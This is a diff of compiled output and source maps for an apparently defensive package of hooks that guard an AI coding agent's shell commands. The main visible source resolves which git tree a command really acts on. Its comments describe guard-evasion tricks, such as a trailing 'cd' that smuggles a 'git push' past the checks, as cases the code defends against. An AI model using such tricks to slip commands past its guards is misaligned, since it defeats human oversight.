tree. No worktree enumeration needed, and\n // the nested-clone check keeps its exact previous behaviour.\n if (this.isInside(effectiveCwd, governedRoot)) {\n const gitRoot = gitToplevel(effectiveCwd);\n if (gitRoot === null) return new TreeClassification('primary', governedRoot);\n if (path.resolve(gitRoot) === path.resolve(governedRoot)) return new TreeClassification('primary', governedRoot);\n return new TreeClassification('foreign', gitRoot);\n }\n\n // Outside the governed tree: is it a linked worktree of the SAME repo? Longest match wins, so a\n // worktree nested under another resolves to the innermost one.\n const owner = this.owningWorktree(effectiveCwd, governedRoot);\n if (owner !== null) {\n return new TreeClassification(owner.isMain ? 'primary' : 'worktree', owner.path);\n }\n\n const gitRoot = gitToplevel(effectiveCwd);\n if (gitRoot === null) return new TreeClassification('outside', governedRoot);\n if (path.resolve(gitRoot) === path.resolve(governedRoot)) return new TreeClassification('primary', governedRoot);\n return new TreeClassification('foreign', gitRoot);\n }\n\n private owningWorktree(dir: string, governedRoot: string): Worktree | null {\n let best: Worktree | null = null;\n for (const tree of this.worktrees.listWorktrees(governedRoot)) {\n if (!this.isInside(dir, tree.path)) continue;\n if (best === null || tree.path.length > best.path.length) best = tree;\n }\n return best;\n }\n\n /** Is `dir` the directory `root` itself, or somewhere beneath it? Pure path math, no filesystem. */\n private isInside(dir: string, root: string): boolean {\n const relative = path.relative(path.resolve(root), path.resolve(dir));\n return relative === '' || (!relative.startsWith('..') && !path.isAbsolute(relative));\n }\n}\n\n/** Data-only carrier for the two values classify() decides together. */\nclass TreeClassification {\n readonly kind: TreeKind;\n readonly root: string;\n\n constructor(kind: TreeKind, root: string) {\n this.kind = kind;\n this.root = root;\n }\n}\n\n/**\n * The steering prefix every remedy needs, re-exported from @webpieces/rules-config so the guards, the\n * message builders and pr-gate's worktree notices all emit the IDENTICAL string — including the single\n * quotes that keep it runnable when the repo path contains a space. See atRoot's own header for why the\n * quotes are single and never double.\n */\nexport { atRoot } from '@webpieces/rules-config';\n\n// The git repo root of `dir`, or null when it is not in a git repo / git is unavailable. `status !== 0`\n// IS the expected \"not a repo\" answer (spawnSync does not throw on a non-zero exit), so no try/catch.\n// webpieces-disable no-function-outside-class -- sibling of atRoot(); this module is the resolver plus its two pure helpers\nfunction gitToplevel(dir: string): string | null {\n const r = spawnSync('git', ['-C', dir, 'rev-parse', '--show-toplevel'], { encoding: 'utf8' });\n if (r.status !== 0) return null;\n const root = (r.stdout ?? '').trim();\n return root !== '' ? root : null;\n}\n"]}
1
+ {"version":3,"file":"effective-tree.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/core/effective-tree.ts"],"names":[],"mappings":"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","sourcesContent":["import * as path from 'path';\nimport { spawnSync } from 'child_process';\n\nimport { WorktreeService, Worktree } from '@webpieces/rules-config';\n\nimport { CommandScanner } from './command-scan';\nimport { ShellSegmentScan } from './rules/shell-segment-scan';\n\n/**\n * WHICH TREE does a Bash command actually act on? The ONE resolver every bash guard and the\n * force-to-root check share.\n *\n * WHY it has to exist at all: the shell cwd a PreToolUse hook is handed does not tell you which tree\n * the command acts on. `cd` behaves TWO different ways, and both break a cwd-based guard:\n *\n * - A `cd` that stays INSIDE the session's working directory PERSISTS to later calls. So the cwd\n * can be a subdirectory of the governed root, left there by an unrelated command several turns\n * earlier — a relative path then resolves somewhere other than the root while still being in the\n * governed tree.\n * - A `cd` that LEAVES it is reset by the harness, which says so (`Shell cwd was reset to <root>`).\n * So an agent working in a linked worktree is back in the primary clone by the next call and must\n * write self-contained `cd <worktree> && …` commands — and the cwd the hook sees is the primary\n * clone, not the worktree the command targets.\n *\n * (Measured on 2026-08-02: `cd backlog && pwd` → `…/backlog`, then a bare `pwd` in a FRESH call →\n * still `…/backlog`. But `cd ../<linked-worktree> && pwd` → the worktree, then a bare `pwd` → back at\n * the primary clone. An earlier version of this comment asserted `cd` never persists; that was the\n * worktree case generalized. The conclusion below is unchanged — only the reason was wrong.)\n *\n * Either way a guard that reasons from the raw cwd judges the wrong tree. Three field sightings in\n * one session:\n * an `ls` of a path outside every repo blocked as \"this branch is merged\"; a version-drift cure\n * (`pnpm install`) that could not be typed from the directory that needed it; and a command aimed at\n * `/private/tmp` blocked because the PRIMARY clone's main was behind — with a remedy (`git pull` in\n * the primary clone) the agent had been explicitly forbidden to run.\n *\n * Two separate copies of the cwd logic used to exist (the runner's foreign-repo/excludePaths check\n * and force-to-root). They are both this class now: two resolvers WILL disagree about which tree you\n * are in, and a guard that disagrees with the guard beside it is worse than either being wrong.\n *\n * Resolution, in order:\n * 1. `effectiveCwd` — the leading run of `cd`/`pushd` in the command itself, resolved left to right.\n * 2. If that sits under the governed root, the tree is the governed root unless git says the\n * directory belongs to a DIFFERENT repo (a nested clone under `repositories/**`) → foreign.\n * 3. Otherwise ask git for the worktree list. A LINKED WORKTREE of the governed repo is MANAGED —\n * it is the same project, just another checkout — so guards run, keyed on THAT tree's branch and\n * its own `.webpieces/` cache. Before this, a linked worktree read as a different git toplevel\n * and so as FOREIGN, which silently disabled every guard for `cd <worktree> && …` commands.\n * 4. Anything else that is a git repo → foreign (out of scope, hands-off, as before).\n * 5. Not a git repo at all (`cd /tmp && …`) → OUTSIDE. The guards still run — an absolute path back\n * into the repo must still be judged — but nothing the command names relative to `/tmp` is\n * workspace content, which is what ContentReadScan uses `effectiveCwd` for.\n */\n// L1's K dimension. 'primary' and 'worktree' are never distinguished by a guard (a linked worktree is\n// the same project) — guards/L1-location.md writes them as one value, `pw`.\n//\n// 'outside' is produced below (gitRoot === null) and consumed NOWHERE, so a command in no git repo is\n// judged against governedRoot — a repo it is not in. guards/L1-location.md's \"Not done\" section explains why\n// exempting it must ship together with target-based jurisdiction, never alone.\nexport type TreeKind = 'primary' | 'worktree' | 'foreign' | 'outside';\n\n/** Data-only (per CLAUDE.md, classes for data). */\nexport class EffectiveTree {\n /** The pre-`cd` cwd the hook was handed. For an agent in a worktree this is the primary clone. */\n readonly shellCwd: string;\n /** The directory the command really runs in, after its own leading `cd`/`pushd` run. */\n readonly effectiveCwd: string;\n /** The tree root to JUDGE: the owning worktree root, the foreign repo root, or the governed root. */\n readonly root: string;\n /** The root that owns webpieces.config.json — where config and excludePaths come from. */\n readonly governedRoot: string;\n readonly kind: TreeKind;\n /** The command acts on a tree other than the shell's own — messages must steer with `cd <root> &&`. */\n readonly redirected: boolean;\n\n constructor(shellCwd: string, effectiveCwd: string, root: string, governedRoot: string, kind: TreeKind) {\n this.shellCwd = shellCwd;\n this.effectiveCwd = effectiveCwd;\n this.root = root;\n this.governedRoot = governedRoot;\n this.kind = kind;\n this.redirected = path.resolve(root) !== path.resolve(shellCwd);\n }\n}\n\nexport class EffectiveTreeResolver {\n private readonly worktrees = new WorktreeService();\n private readonly shell: ShellSegmentScan;\n\n constructor(private readonly scanner: CommandScanner = new CommandScanner()) {\n this.shell = new ShellSegmentScan(scanner);\n }\n\n resolve(command: string, shellCwd: string, governedRoot: string): EffectiveTree {\n const effectiveCwd = this.effectiveCwd(command, shellCwd);\n const kindAndRoot = this.classify(effectiveCwd, governedRoot);\n return new EffectiveTree(shellCwd, effectiveCwd, kindAndRoot.root, governedRoot, kindAndRoot.kind);\n }\n\n /**\n * The cwd a command actually runs from, resolving a LEADING run of `cd`/`pushd` in the command.\n *\n * ONLY a leading run counts. Once a non-cd command appears it has ALREADY run in the current dir,\n * so a later `cd` must not retroactively pull it out of scope — otherwise a trailing\n * `… && cd <exempt-tree>` would exempt the WHOLE line, smuggling a root-level `git push` past the\n * guards. `cd a && cd b && git …` resolves left to right, matching the shell.\n *\n * Segmentation is ShellSegmentScan's (over CommandScanner), so quoting is handled exactly as the\n * guards handle it: `echo \"cd sub && git push\"` is ONE opaque segment whose first word is `echo`,\n * so the quoted `cd` is never picked up and cannot be weaponised into a scope escape.\n */\n effectiveCwd(command: string, shellCwd: string): string {\n let effective = shellCwd;\n for (const segment of this.scanner.commandSegments(command)) {\n const words = this.shell.effectiveWords(segment);\n if (words[0] !== 'cd' && words[0] !== 'pushd') break;\n if (words[1] !== undefined) effective = path.resolve(effective, words[1]);\n }\n return effective;\n }\n\n private classify(effectiveCwd: string, governedRoot: string): TreeClassification {\n // Fast path — no `cd`, or a `cd` within the governed tree. No worktree enumeration needed, and\n // the nested-clone check keeps its exact previous behaviour.\n if (this.isInside(effectiveCwd, governedRoot)) {\n const gitRoot = gitToplevel(effectiveCwd);\n if (gitRoot === null) return new TreeClassification('primary', governedRoot);\n if (path.resolve(gitRoot) === path.resolve(governedRoot)) return new TreeClassification('primary', governedRoot);\n return new TreeClassification('foreign', gitRoot);\n }\n\n // Outside the governed tree: is it a linked worktree of the SAME repo? Longest match wins, so a\n // worktree nested under another resolves to the innermost one.\n const owner = this.owningWorktree(effectiveCwd, governedRoot);\n if (owner !== null) {\n return new TreeClassification(owner.isMain ? 'primary' : 'worktree', owner.path);\n }\n\n const gitRoot = gitToplevel(effectiveCwd);\n if (gitRoot === null) return new TreeClassification('outside', governedRoot);\n if (path.resolve(gitRoot) === path.resolve(governedRoot)) return new TreeClassification('primary', governedRoot);\n return new TreeClassification('foreign', gitRoot);\n }\n\n private owningWorktree(dir: string, governedRoot: string): Worktree | null {\n let best: Worktree | null = null;\n for (const tree of this.worktrees.listWorktrees(governedRoot)) {\n if (!this.isInside(dir, tree.path)) continue;\n if (best === null || tree.path.length > best.path.length) best = tree;\n }\n return best;\n }\n\n /** Is `dir` the directory `root` itself, or somewhere beneath it? Pure path math, no filesystem. */\n private isInside(dir: string, root: string): boolean {\n const relative = path.relative(path.resolve(root), path.resolve(dir));\n return relative === '' || (!relative.startsWith('..') && !path.isAbsolute(relative));\n }\n}\n\n/** Data-only carrier for the two values classify() decides together. */\nclass TreeClassification {\n readonly kind: TreeKind;\n readonly root: string;\n\n constructor(kind: TreeKind, root: string) {\n this.kind = kind;\n this.root = root;\n }\n}\n\n/**\n * The steering prefix every remedy needs, re-exported from @webpieces/rules-config so the guards, the\n * message builders and pr-gate's worktree notices all emit the IDENTICAL string — including the single\n * quotes that keep it runnable when the repo path contains a space. See atRoot's own header for why the\n * quotes are single and never double.\n */\nexport { atRoot } from '@webpieces/rules-config';\n\n// The git repo root of `dir`, or null when it is not in a git repo / git is unavailable. `status !== 0`\n// IS the expected \"not a repo\" answer (spawnSync does not throw on a non-zero exit), so no try/catch.\n// webpieces-disable no-function-outside-class -- sibling of atRoot(); this module is the resolver plus its two pure helpers\nfunction gitToplevel(dir: string): string | null {\n const r = spawnSync('git', ['-C', dir, 'rev-parse', '--show-toplevel'], { encoding: 'utf8' });\n if (r.status !== 0) return null;\n const root = (r.stdout ?? '').trim();\n return root !== '' ? root : null;\n}\n"]}
@@ -4,9 +4,9 @@ import { L0Call } from '../bin/shim';
4
4
  * and is written to <root>/.webpieces/instruct-ai/ lazily, only on an L0 BLOCK.
5
5
  *
6
6
  * That generated doc is the AUTHORITY for the fault table and the allowlist (same arrays, cannot
7
- * drift). GUARD_MATRIX.md at this repo's root is the hand-written companion: it adds L0's evaluation
7
+ * drift). guards/L0-tooling.md is the hand-written companion: it adds L0's evaluation
8
8
  * ORDER, the use cases and the known gaps, and it documents L1, none of which are rendered from code.
9
- * Change L0_FAULTS or L0_ALLOWLIST and the generated doc follows automatically — GUARD_MATRIX.md does
9
+ * Change L0_FAULTS or L0_ALLOWLIST and the generated doc follows automatically — guards/L0-tooling.md does
10
10
  * not, so update it in the same PR.
11
11
  */
12
12
  export declare const GUARD_MATRIX_DOC = "webpieces.guard-matrix.md";
@@ -25,9 +25,9 @@ const to_error_1 = require("./to-error");
25
25
  * and is written to <root>/.webpieces/instruct-ai/ lazily, only on an L0 BLOCK.
26
26
  *
27
27
  * That generated doc is the AUTHORITY for the fault table and the allowlist (same arrays, cannot
28
- * drift). GUARD_MATRIX.md at this repo's root is the hand-written companion: it adds L0's evaluation
28
+ * drift). guards/L0-tooling.md is the hand-written companion: it adds L0's evaluation
29
29
  * ORDER, the use cases and the known gaps, and it documents L1, none of which are rendered from code.
30
- * Change L0_FAULTS or L0_ALLOWLIST and the generated doc follows automatically — GUARD_MATRIX.md does
30
+ * Change L0_FAULTS or L0_ALLOWLIST and the generated doc follows automatically — guards/L0-tooling.md does
31
31
  * not, so update it in the same PR.
32
32
  */
33
33
  exports.GUARD_MATRIX_DOC = 'webpieces.guard-matrix.md';
@@ -1 +1 @@
1
- {"version":3,"file":"l0-matrix.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/core/l0-matrix.ts"],"names":[],"mappings":"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